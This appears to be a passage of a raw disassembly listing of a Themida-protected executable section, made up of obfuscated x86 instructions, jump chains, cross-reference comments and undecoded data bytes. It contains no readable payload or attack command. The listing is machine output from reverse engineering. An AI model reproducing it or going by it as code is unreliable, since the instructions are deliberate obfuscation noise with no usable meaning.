295DEE89h, 5EF387DEh, 4886EB81h, 81530073h, 3714242Ch dd 0A1E90866h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C553: ; CODE XREF: Themida_:00505C96j and ebp, 63857CBFh jmp loc_50725C ; --------------------------------------------------------------------------- dw 0F001h dd 78F0E9h db 0 ; --------------------------------------------------------------------------- loc_50C565: ; CODE XREF: Themida_:005157F4j sub al, bl add al, 0E6h mov ebx, [esp] jmp loc_513723 ; --------------------------------------------------------------------------- db 68h, 0F8h, 21h dd 24890000h, 24048124h, 4, 5D6D6858h, 1C890000h, 4BB24h dd 0D8010000h, 0FF73A7E9h, 242C89FFh, 0D0E9E589h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C59F: ; CODE XREF: Themida_:00503EB9j add esi, 4 xchg esi, [esp] jmp loc_51223E ; --------------------------------------------------------------------------- loc_50C5AD: ; CODE XREF: Themida_:00508F91j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_50779E ; --------------------------------------------------------------------------- dw 0C281h dd 28A13052h, 6363C281h, 0D689AD7Bh, 0BE56535Ah, 5E6152C2h dd 2AF68146h, 89520779h, 0C7E95EF3h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C5DF: ; CODE XREF: Themida_:00517725j pop eax add eax, 4 push edx mov edx, 4 sub eax, 30857E2Ah add eax, edx add eax, 30857E2Ah pop edx xchg eax, [esp] jmp loc_509FEC ; --------------------------------------------------------------------------- dd 8B2434FFh, 0EE9240Ch, 81FFFFB4h, 4C4h, 0FFC83100h, 83592434h dd 0C8904ECh, 55595424h, 435EE9h, 0DC58100h, 101C437h dd 0B268E9CDh, 0EC81FFFFh, 2, 241C8966h, 741E9h db 0 ; --------------------------------------------------------------------------- loc_50C641: ; CODE XREF: Themida_:0050F91Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_517517 ; --------------------------------------------------------------------------- loc_50C656: ; CODE XREF: Themida_:0050B67Fj push ebx add dword ptr [esp], 673D1037h mov edi, [esp] jmp loc_5139E8 ; --------------------------------------------------------------------------- dw 158h dd 4EC81F1h, 89000000h, 34B82404h, 297D905Ah, 0C5E958C1h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C67F: ; CODE XREF: Themida_:005177C8j shr edx, 1 jmp loc_516625 ; --------------------------------------------------------------------------- dw 815Bh dd 0EBB15BE9h, 59C8016Fh, 432268h, 242C8900h, 0FB26FCBDh dd 4B736828h, 0C890000h, 13FAB924h, 0E9C13EAFh, 55BE5603h dd 817C294Ah, 294A54EEh, 5EF1297Ch, 0B7EEB850h, 4AE9E3DBh dd 5600005Fh, 6A7873BEh, 9882B853h, 0F02996F9h, 0FFD181E9h dd 0E9315DFFh, 1CF7515Dh, 0E91BE924h db 2 dup(0FFh) word_50C6E6 dw 478Fh ; DATA XREF: Themida_:00502860o dd 63DDE940h, 248BFFFFh, 9CC88424h, 0FF63D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C6F9: ; CODE XREF: Themida_:005137F4j add esp, 4 jmp loc_516C10 ; --------------------------------------------------------------------------- loc_50C701: ; CODE XREF: Themida_:00515709j pop eax jmp loc_504497 ; --------------------------------------------------------------------------- db 5 dd 4, 44D1E9h db 0 ; --------------------------------------------------------------------------- loc_50C711: ; CODE XREF: Themida_:005060FBj xor [esp], edi jmp loc_515E64 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0A0h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C71F: ; CODE XREF: Themida_:00511DD8j pop edx add ebx, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_50CF36 ; --------------------------------------------------------------------------- loc_50C739: ; CODE XREF: Themida_:00511B5Bj pop ebp jmp loc_50BB69 ; --------------------------------------------------------------------------- db 89h dd 58C389E8h, 0A48B95Dh, 0D901325Ah, 81241C8Bh, 4C4h, 0F5E98100h dd 81F1EC13h, 1E0A39EAh, 48E95046h, 830000B0h, 0D8F704C4h dd 2D40D8F7h, 3C5C3C1Bh, 5658C289h, 0E5E9D689h, 0C0FFFFC2h dd 0EE8004EEh, 1BD5E9F7h, 0E9530000h, 0B598h ; --------------------------------------------------------------------------- loc_50C790: ; CODE XREF: Themida_:00502E8Dj mov ebp, [esp] add esp, 4 or edx, eax shl edx, 1 push ebp mov ebp, 1 sub esp, 4 mov [esp], edx push ebp push 62920819h jmp loc_504151 ; --------------------------------------------------------------------------- db 0B9h dd 18910BF8h, 0FFEC78E9h, 89D989FFh, 240C8BC8h, 4C481h dd 0FAE90000h, 81000030h, 6C209EC1h, 5860E90Dh, 0FA890000h dd 5AD7015Fh, 8B243C87h, 8B662424h, 33682404h, 89000024h dd 0DB68240Ch, 5400007Bh, 8324048Fh, 0FF042404h, 0C8B2434h dd 4EC8124h, 0E9000000h, 0FFFFC296h, 6150685Bh, 1C890000h dd 4EC8324h, 89240C89h, 4C181E1h, 52000000h, 4BAh, 5AD12900h dd 6B4CE9h, 2BB00h, 0DA010000h, 83241C8Bh, 148704C4h, 0EF805C24h dd 19B15172h, 8C9F180h, 0A9F3E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C85A: ; CODE XREF: Themida_:005030D6j pop edi inc edi inc edi jmp loc_50EE75 ; --------------------------------------------------------------------------- dw 0BE56h dd 67FD0353h, 0B2C6814Eh, 19802FCh, 9908E9F3h, 0AB60000h dd 5A66F730h, 505BFA88h, 0E18820B4h, 5AD13058h, 0F59CB00h dd 34FFC0B6h, 0E1895187h, 2EDAE956h, 0E7810000h, 3136053Ah dd 6E9CEF81h, 0F7810835h, 2793D6CDh, 0E95FFB21h, 3D33h ; --------------------------------------------------------------------------- loc_50C8B4: ; CODE XREF: Themida_:00507ADDj add eax, 5D6C5CF3h push dword ptr [eax] pop ecx mov eax, [esp] add esp, 4 push eax jmp loc_516485 ; --------------------------------------------------------------------------- loc_50C8CB: ; CODE XREF: Themida_:00510BB9j shl ebx, 4 jmp loc_5116D7 ; --------------------------------------------------------------------------- aIrsmm db '‰à鬌',0 align 2 loc_50C8DA: ; CODE XREF: Themida_:0050D90Cj mov ebx, 605CB4h or ebx, 4C635582h jmp loc_50FDB5 ; --------------------------------------------------------------------------- dw 8143h dd 937699C3h, 5BDD3121h, 3792C581h, 0BE563483h, 7D4C7B32h dd 42E7E681h, 814E7860h, 0C60486EEh, 0DEF74677h, 8983E9h db 0 ; --------------------------------------------------------------------------- loc_50C915: ; CODE XREF: Themida_:0050C469j sub ebp, 16342CDDh mov eax, [esp] add esp, 4 jmp loc_515058 ; --------------------------------------------------------------------------- dw 815Bh dd 590D80C2h, 7352E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C932: ; CODE XREF: Themida_:0050C301j add ecx, 4 xchg ecx, [esp] jmp loc_507C67 ; --------------------------------------------------------------------------- db 81h, 0E9h, 95h dd 0E901D130h, 2864h, 0C8BCB89h, 4C48124h, 0E9000000h dd 0FFFFF8F0h ; --------------------------------------------------------------------------- loc_50C958: ; CODE XREF: Themida_:0050F454j mov bl, 49h xor ah, bl jmp loc_504D9D ; --------------------------------------------------------------------------- db 0B8h, 52h, 2Ch dd 0E8C11979h, 20BA5207h, 81298A6Fh, 0EE1B48C2h, 0FFEA833Ch dd 0DCEF281h, 2EE96CAEh db 6Ah, 2 dup(0FFh) byte_50C983 db 66h ; DATA XREF: Themida_:005028DCo dd 0E9240C8Bh, 0FFFFCACFh ; --------------------------------------------------------------------------- loc_50C98C: ; CODE XREF: Themida_:0050496Ej push 14A74485h jmp loc_5042C6 ; --------------------------------------------------------------------------- loc_50C996: ; CODE XREF: Themida_:0051549Ej add esp, 4 sub ecx, 241A664Ch xor ecx, 459FCABDh push 5EEEh mov [esp], ebx push 4D5Eh mov [esp], esi mov esi, ecx push ecx mov ecx, esi mov ebx, ecx pop ecx pop esi push ebx jmp loc_509E52 ; --------------------------------------------------------------------------- loc_50C9C7: ; CODE XREF: Themida_:00517F39j xor edi, edx jmp loc_517F5B ; --------------------------------------------------------------------------- loc_50C9CE: ; CODE XREF: Themida_:0050EA40j push 0F5h mov [esp], esi jmp loc_50A1F7 ; --------------------------------------------------------------------------- loc_50C9DB: ; CODE XREF: Themida_:00504AEDj xchg ecx, edx not ecx xchg ecx, edx jmp loc_50EA45 ; --------------------------------------------------------------------------- dd offset loc_418E67+1 dw 0E900h dd 532Ch ; --------------------------------------------------------------------------- loc_50C9F0: ; CODE XREF: Themida_:0050AB1Aj mov esi, [esp] add esp, 4 push ecx push 6B2Ah mov [esp], eax push 4A9D32CCh pop eax push edx sub esp, 4 mov [esp], eax jmp loc_50C163 ; --------------------------------------------------------------------------- dword_50CA14 dd 24048B66h, 3F6968h, 24348900h, 9E13E954h, 0B951FFFFh ; DATA XREF: Themida_:00502840o dd 6C7913FEh, 7EE9CF01h, 810000AEh, 0FD4F95F1h, 3016801h dd 0C890000h, 38428F24h, 4EC8159h, 0E9000000h, 55E6h, 0C09FCB80h dd 0F38003EBh, 5BDE08E8h, 0E6C0CEFEh, 0BDF68002h, 285AF300h dd 0B978E9C3h, 34FFFFFFh, 242C8B24h, 4C481h, 0C4810000h dd 4, 5768EA29h, 89000010h, 1EE92404h, 6600008Ah, 51241C8Bh dd 0C181E189h, 4, 8702C183h, 0E95C240Ch, 0FFFFBCD7h, 0CE95340h dd 68FFFFF5h, 1BE0h, 0BD242C89h, 4A4B41E9h, 0E904EC83h dd 0FFFFA18Eh, 312733BEh, 0C1DEF753h, 0EE8103EEh, 1166787h dd 348BF129h, 4C48124h, 5B000000h, 19A4E181h, 0E98177E6h dd 2274F40Fh, 8159CD09h, 7F1DADEDh, 5B8507Bh, 2922A03Dh dd 0E90158C1h, 52D8E9h db 0 ; --------------------------------------------------------------------------- loc_50CB05: ; CODE XREF: Themida_:00512DF6j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 74D9h mov [esp], ecx push esi mov esi, esp add esi, 4 push edx mov edx, 2 sub esi, edx jmp loc_515977 ; --------------------------------------------------------------------------- dd 89241489h, 4BF57E2h, 1000000h, 243C8BFAh, 8304C483h dd 0E0E904ECh, 0BE000071h, 0D727E7h, 373DE9h, 3AE98100h dd 185A8EFh, 0EA8359CAh, 24148704h, 2414895Ch, 0C1E9E289h dd 8BFFFFAAh, 68662424h, 896646EFh, 0F6B7241Ch, 0E970B652h dd 0A54Fh, 5C240C87h, 6FB9E951h, 1C890000h, 0FE95424h dd 56FFFFBEh, 0FF8ACAE9h db 0FFh ; --------------------------------------------------------------------------- loc_50CBA5: ; CODE XREF: Themida_:005178FCj mov ebx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx push ecx mov ecx, 559F4CD7h neg ecx dec ecx and ecx, 50EC63BBh jmp loc_503B4D ; --------------------------------------------------------------------------- db 0F7h, 0DEh, 0E9h dd 172Ah, 0FF5EF2E9h, 685750FFh, 480F1F4Dh, 0FF7F9AE9h dd 0C2815AFFh, 5CFC6574h, 0FFF888E9h, 243C8BFFh, 14FEE955h dd 215A0000h, 0F28158C2h, 3C17C2BBh, 6DE9D331h, 290000ADh dd 682D5DEAh, 5686C49h, 4DF03E69h, 692DD001h, 524DF03Eh dd 6C4968BAh, 5AD00168h, 4EC815Ah, 89000000h, 26E92404h dd 0BE000063h, 3A7167h, 2D14E9h db 0 ; --------------------------------------------------------------------------- loc_50CC41: ; CODE XREF: Themida_:0050FC7Fj xor ebp, 4C6A554Dh sub ebp, 0EA5C3FEDh mov eax, 0CB402E4Bh sub eax, 783B0A65h jmp loc_508A9E ; --------------------------------------------------------------------------- loc_50CC5C: ; CODE XREF: Themida_:00512B9Dj pop ebx jmp loc_515F6C ; --------------------------------------------------------------------------- dw 815Ah dd 0D9F5CBC5h, 5DE829D9h, 2404875Eh, 2104E9h, 66E95900h dd 0BF000053h, 3FFBFCF3h, 0E95FFD31h, 0FFFF98D5h, 0CE9E689h dd 0BDFFFF90h, 1DC1772Dh, 34FFEA31h, 242C8B24h, 8104C483h dd 4C4h, 68525600h, 59611D57h, 86C0BE5Ah, 0D62985AEh, 5EF2315Ah dd 2C5868h, 24148900h, 24148B5Bh, 8104C483h, 0DA31B3EBh dd 5BD83169h, 0E904EC83h, 0FFFF684Ah, 4C381h, 0C3810000h dd 4, 0FF9CF2E9h, 5EF589FFh, 4F2DED81h, 0BE561B99h, 46D409Ch dd 0EDB7C681h, 0EEC1085Fh, 93EE8102h, 2903334Bh, 814D5EF5h dd 9CF133EDh, 5DE901F2h, 0FFE271E9h, 4BF57FFh, 29000000h dd 39E95FFAh, 52000056h, 88E38853h, 0AEE95BDEh db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CD33: ; CODE XREF: Themida_:0050AF7Ej sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 4 add ebp, ebx jmp loc_50B155 ; --------------------------------------------------------------------------- db 88h, 0C1h, 88h dd 240C8BCBh, 4C481h, 48B0000h, 4C48124h, 4000000h, 0E9D828EBh dd 41D2h, 8904EC83h, 0D1E92434h db 73h, 2 dup(0) aM0SfqYiqsW db '¬0ØSfQµYˆïéÃw',0 ; DATA XREF: Themida_:00502898o align 2 dw 0BB66h dd 296664F7h, 6602245Ch, 0E9241C8Bh, 9310h ; --------------------------------------------------------------------------- loc_50CD94: ; CODE XREF: Themida_:0050D4FFj xor eax, [esp] pop esp sub esp, 4 jmp loc_50F7E3 ; --------------------------------------------------------------------------- loc_50CDA3: ; CODE XREF: Themida_:0051313Bj shl cl, 3 dec cl add cl, 7Eh sub bl, cl pop ecx sub bl, ah jmp loc_50ADC6 ; --------------------------------------------------------------------------- db 0E9h, 11h, 5Dh dd 0EF01FFFFh, 4C7815Dh, 68000000h, 6856h, 0FF243C89h dd 8B042474h, 0C483243Ch, 24048F04h, 0FFCE97E9h, 0E9DE01FFh dd 0FFFFC398h, 0D0A68h, 242C8900h, 2434FF54h, 0E92434FFh dd 0FFFFBF7Fh, 0A3ACE950h, 0D1F7FFFFh, 0AC25E9h, 14895C00h dd 0BA24h, 0EC810000h, 4, 68241C89h, 30C5624Eh, 54EB815Bh dd 436A4D20h, 0C412E953h, 0E389FFFFh, 4C381h, 0E9520000h dd 1C52h, 53846855h, 0C890000h, 0A03B924h, 0E95025DAh dd 0FFFFFB15h, 0E958C589h, 0FFFFC4CBh ; --------------------------------------------------------------------------- loc_50CE54: ; CODE XREF: Themida_:00516AD9j pop esp mov [esp], esi mov esi, 0FFFFFFFFh jmp loc_5143DD ; --------------------------------------------------------------------------- loc_50CE62: ; CODE XREF: Themida_:0051794Bj add ecx, 12510E44h jmp loc_515927 ; --------------------------------------------------------------------------- db 2Dh, 4, 0 dd 0FF500000h, 58042474h, 5C24048Fh, 0A722E9h, 3D4CB900h dd 0A0E9CA05h db 0DDh, 2 dup(0FFh) byte_50CE8B db 0ADh ; DATA XREF: Themida_:005028A8o dd 8C6F2105h, 56D80169h, 8C6F21BEh, 0DCBD5569h, 29595312h dd 0F0295DE8h, 12DCBA52h, 0D0015953h, 8FB5E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CEB2: ; CODE XREF: Themida_:0050EBB4j add esi, 33F22AEBh shr esi, 8 not esi jmp loc_50E6AA ; --------------------------------------------------------------------------- loc_50CEC2: ; CODE XREF: Themida_:00509C57j xchg ebp, [esp] pop esp jmp loc_5158B6 ; --------------------------------------------------------------------------- byte_50CECB db 66h ; DATA XREF: Themida_:00502904o dd 8324048Bh, 348904ECh, 685E5424h, 211Fh, 0B8240489h dd 4, 29A7E9h, 4EE8300h, 8B243487h, 0C892424h, 7EA9E924h dd 0E831FFFFh, 8BC2895Dh, 0C4832404h, 626EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CF0A: ; CODE XREF: Themida_:00515065j mov [esp], ecx push ebx pop ecx push esi mov esi, ecx mov eax, esi jmp loc_505447 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0Fh dd 53000063h, 0C137ADBBh, 13C38102h, 810AD550h, 0FC3AFEEBh dd 37A9E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50CF36: ; CODE XREF: Themida_:0050C734j push esi jmp loc_5048AC ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFDEEDh, 0E92434FFh, 0FFFFE1EDh ; --------------------------------------------------------------------------- loc_50CF4C: ; CODE XREF: Themida_:0051035Ej mov [esp], esi jmp loc_509860 ; --------------------------------------------------------------------------- dd 5251C328h, 66D2B753h, 0F914E952h, 34FFFFFFh, 0C4815B24h dd 4, 0FF1C4721h, 83582434h, 50E904C4h, 81FFFF5Bh, 325952E9h dd 0FFCB89A7h, 0E9592434h, 8061h, 0BD242C89h, 2CBE533Eh dd 8819E9h, 0EF816600h, 29665C7Bh, 1665FFEh, 5665EF0h dd 2D6641ABh, 1663217h, 0C21EE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CFB6: ; CODE XREF: Themida_:00505959j xor eax, ecx push ecx mov ecx, esp jmp loc_51793A ; --------------------------------------------------------------------------- loc_50CFC0: ; CODE XREF: Themida_:0050FC2Aj push esi mov esi, 68B035A8h jmp loc_5109BF ; --------------------------------------------------------------------------- db 83h dd 0ED8004C4h, 21EF80E9h, 5266EF00h, 0F70021B6h, 0BE95A66h dd 81000008h, 0C5367CC7h, 11F78172h, 29DC0FE1h, 243C8BF8h dd 2904C483h, 7D6C05D8h, 1C8B12BBh, 4C48324h, 0FF5DCFE9h dd 0D0E959FFh db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D00F: ; CODE XREF: Themida_:005054EDj pop ebp add [esp+8], ebx pop ebx push 665Eh mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_508769 ; --------------------------------------------------------------------------- loc_50D02A: ; CODE XREF: Themida_:00507D0Ej push ebx mov ebx, 56561AEDh xor ebx, 15B07077h jmp loc_515B25 ; --------------------------------------------------------------------------- loc_50D03B: ; CODE XREF: Themida_:005144D1j pop edx add ch, 94h jmp loc_510EDE ; --------------------------------------------------------------------------- dd 0FF240487h, 0D0E92434h, 8BFFFFA9h, 0C481240Ch, 4, 0F706E0C1h dd 36CE05D0h, 0CE252988h, 0E94BAA60h, 1D8Eh, 24048F5Ch dd 6824248Bh, 56EDh, 0E9241489h, 0FFFF6E88h ; --------------------------------------------------------------------------- loc_50D080: ; CODE XREF: Themida_:00515847j dec ecx add ecx, 0FADD9445h jmp loc_5125F7 ; --------------------------------------------------------------------------- loc_50D08C: ; CODE XREF: Themida_:00516620j sub edx, ebp add edx, 1B6A4233h pop ebp add edx, eax add edx, 23D06F6Ch jmp loc_50FE00 ; --------------------------------------------------------------------------- word_50D0A2 dw 34FFh ; DATA XREF: Themida_:00502A54o dd 0EBE95824h, 58FFFFBCh, 0E924048Fh, 0FFFF5E0Ch, 85A4E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D0BA: ; CODE XREF: Themida_:005056CBj add esp, 4 pop dword ptr [esp] pop esp movzx ecx, ax push esi mov esi, esp add esi, 4 jmp loc_50F050 ; --------------------------------------------------------------------------- dw 0BF57h dd 53A41136h, 94F78147h, 0C118C271h, 0C9E908EFh, 0B8FFFF86h dd 4, 0FFA382E9h, 0A8F68FFh, 15E90000h, 81FFFFE8h, 4C4h dd 0E9D60100h, 631Bh, 2414F753h, 0E9935Bh, 550000A7h, 9B2EE9h dd 35CF8100h, 0E947FD7Dh, 122Fh ; --------------------------------------------------------------------------- loc_50D124: ; CODE XREF: Themida_:00515F13j mov edx, [esp] add esp, 4 jmp loc_50AD84 ; --------------------------------------------------------------------------- db 0F7h dd 5CF968F1h, 14890000h, 0E99C5024h, 0FFFF598Bh ; --------------------------------------------------------------------------- loc_50D140: ; CODE XREF: Themida_:00503C20j mov ecx, ebp jmp loc_507848 ; --------------------------------------------------------------------------- db 0C1h dd 4DE905EBh, 5FFFFFA8h, 28B768h, 24048900h, 0E8E95755h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D15F: ; CODE XREF: Themida_:00505340j sub ebp, 0F92140D3h mov ecx, ebp pop ebp sub edi, ecx pop ecx add ebp, edi push dword ptr [esp] push dword ptr [esp] pop edi push edx mov edx, esp push eax push ebx push 0E8931DEh pop ebx add ebx, 665A2B5Fh jmp loc_50301D ; --------------------------------------------------------------------------- dw 0FF5Ch dd 36E92434h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D193: ; CODE XREF: Themida_:0050BF72j mov eax, 51E93698h and eax, 57D4113h and eax, 69737132h not eax and eax, 5E7E4375h sub eax, 4A821F42h add edx, eax pop eax jmp loc_516284 ; --------------------------------------------------------------------------- dw 15Eh dd 49D605F0h, 0E95E6637h, 9003h ; --------------------------------------------------------------------------- loc_50D1C4: ; CODE XREF: Themida_:005082A0j or eax, eax jz loc_509FE1 push 61D8h mov [esp], ecx jmp loc_50930F ; --------------------------------------------------------------------------- db 68h, 0ADh, 3Eh dd 14890000h, 4DE95424h, 8900007Ch, 4C781E7h, 83000000h dd 3C8704C7h, 24248B24h, 1C8BD889h, 0F111E924h, 555DFFFFh dd 0FFCBC8E9h, 58BDE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D20E: ; CODE XREF: Themida_:00505297j xchg ecx, [esp] pop esp push ebp jmp loc_504958 ; --------------------------------------------------------------------------- loc_50D218: ; CODE XREF: Themida_:00502D8Ej pop eax add ebp, eax pop eax push eax push ecx mov ecx, 2 mov eax, ecx pop ecx add ebp, eax push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_516587 ; --------------------------------------------------------------------------- loc_50D24C: ; CODE XREF: Themida_:0050775Fj push dword ptr [esp] pop ecx add esp, 4 push 2D3Eh mov [esp], edi push esp pop edi add edi, 4 push edx mov edx, 4 sub edi, 627760A7h jmp loc_507B69 ; --------------------------------------------------------------------------- loc_50D277: ; CODE XREF: Themida_:0050FEB8j pop ecx add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_505DCD ; --------------------------------------------------------------------------- dw 0D4BBh dd 3124E51Ch, 2434FFDAh, 4C4815Bh, 81000000h, 7F1954EBh dd 68D3016Bh, 6F39h, 0BF243C89h, 6CBA6280h, 5DE9C781h dd 0CF8175DCh, 50152C8Eh, 0D410F781h, 54E9DCE2h, 5DFFFFDAh dd 8B2434FFh, 0C4832404h, 0E2895204h, 4C281h, 10E90000h dd 1000036h, 0BA525DEEh, 4, 0E95AD601h, 0FFFFD065h, 5266C328h dd 0D300FEB2h, 24148B66h, 6602C483h, 6EA06850h, 0C890000h dd 8857B124h, 686659CCh, 89661D04h, 33B02404h, 5866C300h dd 46E9E328h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D31F: ; CODE XREF: Themida_:005033ACj sub edx, 4 xchg edx, [esp] pop esp jmp loc_516E6A ; --------------------------------------------------------------------------- db 29h dd 67E951C3h, 1FFFF6Eh, 7AB850DEh, 0E905902Dh, 3B4Bh, 5BFDE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D346: ; CODE XREF: Themida_:00515270j push dword ptr [esp] pop edx push 4CDDh jmp loc_506518 ; --------------------------------------------------------------------------- dd 537BBF57h, 12E959AAh, 0BA00005Dh, 1A4E090Ch, 7983EA81h dd 2AE948D7h, 8F000075h, 248B2404h, 24042124h, 574DE99Ch dd 0EC81FFFFh, 4, 0BF243C89h, 19B75055h, 5230B951h, 0C1816E9Eh dd 0F146F0Dh, 3DFCE9h, 4BA00h, 8EE90000h, 100009Bh, 5EE81D6h dd 0E952FB5Ch, 0FFFFE990h, 0E92434FFh, 0FFFFD7A0h, 0CC922E2Dh dd 0E9C60128h, 4F49h, 95BB6653h, 66536674h, 0D25AE956h dd 48BFFFFh, 4C48324h, 4C481h, 0BD550000h, 4, 826DE9h dd 4C28100h, 81000000h, 4C2h, 24148700h, 0BF31E95Ch, 0E789FFFFh dd 2B54E9h, 87595F00h, 0E95C2414h, 0FFFF56B7h, 181D98BAh dd 5AD0013Dh, 6BC1E9h, 0C1815900h, 4B1D4718h, 66E9CA21h dd 1FFFF93h, 241C8BD8h, 4C481h, 4AE90000h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D43F: ; CODE XREF: Themida_:005174E9j push ebx mov ebx, 50BC35F8h xor ebx, 76741A88h jmp loc_517A1C ; --------------------------------------------------------------------------- dd 0E332EB81h, 0DD890957h, 6703E9h, 4C28100h, 83000000h dd 148704C2h, 0A0F3E924h, 682DFFFFh, 2D755319h, 564504FDh dd 81241C8Bh, 4C4h, 0EE3FE900h, 0C681FFFFh, 1144C77Bh dd 685EF731h, 5509h, 57243C89h, 254BE9h db 0 ; --------------------------------------------------------------------------- loc_50D49D: ; CODE XREF: Themida_:0050DD54j add ecx, 4FDB082Bh sub ecx, ebx push ebx mov ebx, 4FDB082Bh add ecx, 7E14558Eh sub ecx, ebx sub ecx, 7E14558Eh push dword ptr [esp] pop ebx jmp loc_510507 ; --------------------------------------------------------------------------- loc_50D4C2: ; CODE XREF: Themida_:0050892Fj xchg edi, [esp] pop esp mov eax, edx pop edx add [esp+4], eax mov eax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_50EBAE ; --------------------------------------------------------------------------- loc_50D4E0: ; CODE XREF: Themida_:00507843j pop ebp push edi mov edi, 4 add eax, 57F24208h add eax, edi sub eax, 57F24208h mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_50CD94 ; --------------------------------------------------------------------------- loc_50D504: ; CODE XREF: Themida_:0050C04Dj xchg ebp, [esp] jmp loc_50B982 ; --------------------------------------------------------------------------- loc_50D50C: ; CODE XREF: Themida_:00514A12j xor ebx, [esp] jmp loc_50E71C ; --------------------------------------------------------------------------- dd 0D90BCBB8h, 0E9E801E7h, 9DAAh, 0C71B2D05h, 7080E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D52A: ; CODE XREF: Themida_:00509433j push eax mov eax, 75831C85h jmp loc_512C14 ; --------------------------------------------------------------------------- loc_50D535: ; CODE XREF: Themida_:0050674Dj mov edi, 72123D61h sub ecx, edi pop edi mov ebx, ecx pop ecx add esi, ebx mov ebx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax mov eax, 20h push ebp mov ebp, 27313AF4h add eax, ebp pop ebp sub eax, 7303DAEh add eax, edi add eax, 7303DAEh sub eax, 27313AF4h mov dword ptr [eax], 2C292640h jmp loc_509407 ; --------------------------------------------------------------------------- dd 5AFDB951h, 0E9490A24h, 0FFFFE182h, 0BBE9FE88h db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D597: ; CODE XREF: Themida_:00503D6Bj mov [esp], edx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx push edi jmp loc_50DA5D ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 240C895Ch, 0FFBB68E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D5C9: ; CODE XREF: Themida_:0050BE00j mov [esp], ecx mov ecx, esp push eax push 27F03E00h jmp loc_50E577 ; --------------------------------------------------------------------------- loc_50D5D9: ; CODE XREF: Themida_:005161E2j push edi jmp loc_50527A ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF54E7h, 0AE6AE953h, 0EB81FFFFh, 283C1DEEh, 0DC8B951h dd 0D187433Eh, 0D131DAF7h, 0D131CA31h, 249FE9h, 24343300h dd 8CFCE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D60E: ; CODE XREF: Themida_:005090EDj sub esp, 4 mov [esp], ecx push 0EA40B42h mov ecx, [esp] add esp, 4 or ecx, 341F3C4Fh xor ecx, 4D325AA3h jmp loc_5098F3 ; --------------------------------------------------------------------------- dd 8104C483h, 4ECh, 24048900h, 4B8h, 4FC28100h, 1644B53h dd 4FB951C2h, 29644B53h, 240C8BCAh, 4C481h, 12E90000h dd 5A00006Eh, 3768C301h, 89000005h, 69E9242Ch, 52FFFF9Fh dd 0EA809FB2h, 8BD02882h, 0C4812414h, 4, 1D04D800h, 0FFA2D1E9h dd 240433FFh, 33240431h, 248B2404h, 2434FF24h, 8B2434FFh dd 0C4832404h, 4C48304h, 53CA68h, 90FCE900h, 15A0000h dd 0B5C581CDh, 814D8327h, 830BFEC5h, 240C8B4Fh, 3304C483h dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF7049h ; --------------------------------------------------------------------------- loc_50D6D4: ; CODE XREF: Themida_:00504F15j sub ecx, 3FD40A83h jmp loc_50BEBA ; --------------------------------------------------------------------------- loc_50D6DF: ; CODE XREF: Themida_:005149B5j sub ebp, 1A9F67Ch add esi, ebp pop ebp add esi, 4 sub esp, 4 mov [esp], esi jmp loc_51588D ; --------------------------------------------------------------------------- loc_50D6F9: ; CODE XREF: Themida_:00507895j mov ecx, 7BD00056h mov edx, 279D1B94h xor edx, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_51289C ; --------------------------------------------------------------------------- dd 81664566h, 0E90FD7C5h, 0FFFF8397h ; --------------------------------------------------------------------------- loc_50D728: ; CODE XREF: Themida_:0050D9F7j pop ebp xchg ecx, edx not edx push 4F73h mov [esp], ecx jmp loc_50A5A6 ; --------------------------------------------------------------------------- dw 0EA31h dd 83C1815Dh, 0E979ED11h, 0FFFFD7E9h ; --------------------------------------------------------------------------- loc_50D748: ; 